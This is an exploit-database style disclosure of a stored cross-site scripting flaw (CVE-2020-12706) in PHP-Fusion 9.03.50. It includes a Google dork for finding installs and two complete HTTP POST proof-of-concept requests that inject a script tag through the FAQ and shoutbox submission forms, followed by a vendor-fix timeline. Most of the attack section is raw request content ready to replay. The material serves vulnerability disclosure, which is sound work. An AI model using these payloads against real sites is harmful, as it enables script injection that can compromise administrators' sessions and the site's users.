php-fusion 9.03.50 - Persistent Cross-Site Scripting

# Exploit Title: php-fusion 9.03.50 - Persistent Cross-Site Scripting
# Google Dork: "php-fusion"
# Date: 2020-04-30
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: https://www.php-fusion.co.uk/
# Software Link: https://www.php-fusion.co.uk/infusions/downloads/downloads.php?cat_id=30
# Version: 9.03.50
# Tested on: Windows
# CVE : CVE-2020-12706

### Vulnerability : Persistent Cross-Site Scripting

###Describe the bug
Persistent Cross-site scripting (Stored XSS) vulnerabilities in PHP-Fusion 9.03.50 allow remote attackers to inject arbitrary web script or HTML
via the go parameter to /infusions/faq/faq_admin.php, /infusions/shoutbox_panel/shoutbox_admin.php

###To Reproduce
Steps to reproduce the behavior:
Authenticated user submit Q&A or Shoutbox to admin

### POC:
## Submit Q&A:

POST /php-fusion/submit.php?stype=q HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------68756068726681644952075211938
Content-Length: 1146
Origin: http://TARGET
DNT: 1
Connection: close
Referer: http://TARGET/php-fusion/submit.php?stype=q
Cookie: xxx
Upgrade-Insecure-Requests: 1

-----------------------------68756068726681644952075211938
Content-Disposition: form-data; name="fusion_token"

2-1588232750-f839ed0754d5dc8aa577cfb660e273e711ec03a9a782de90ac34860cdb45a8f1
-----------------------------68756068726681644952075211938
Content-Disposition: form-data; name="form_id"

submit_form
-----------------------------68756068726681644952075211938
Content-Disposition: form-data; name="fusion_PR57qY"


-----------------------------68756068726681644952075211938
Content-Disposition: form-data; name="faq_question"

Question XSS
-----------------------------68756068726681644952075211938
Content-Disposition: form-data; name="faq_answer"

xss</textarea><ScRiPt>alert('XSS')</ScRiPt>
-----------------------------68756068726681644952075211938
Content-Disposition: form-data; name="faq_cat_id"

1
-----------------------------68756068726681644952075211938
Content-Disposition: form-data; name="faq_language[]"

English
-----------------------------68756068726681644952075211938
Content-Disposition: form-data; name="submit_link"

Submit
-----------------------------68756068726681644952075211938--

## Shoutbox

POST /php-fusion/infusions/downloads/downloads.php?cat_id=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 272
Origin: http://TARGET
DNT: 1
Connection: close
Referer: http://TARGET/php-fusion/infusions/downloads/downloads.php?cat_id=1
Cookie: xxx
Upgrade-Insecure-Requests: 1

fusion_token=2-1588233429-3df5ba2b9c690e833548645f66a7772cf7fdb24ca9be130d5ff01e26351a2771&form_id=sbpanel&fusion_gEHiPs=&shout_id=0
&shout_hidden=&shout_message=xss</textarea><ScRiPt>alert('XSS')</ScRiPt>&shout_language=English&shout_box=Save+Shout


###Reference:
https://github.com/php-fusion/PHP-Fusion/issues/2306

### History
=============
2020-04-09  Issue discovered
2020-04-14  Vendor contacted
2020-04-28  Vendor response and hotfix
2020-04-29  Vendor releases fixed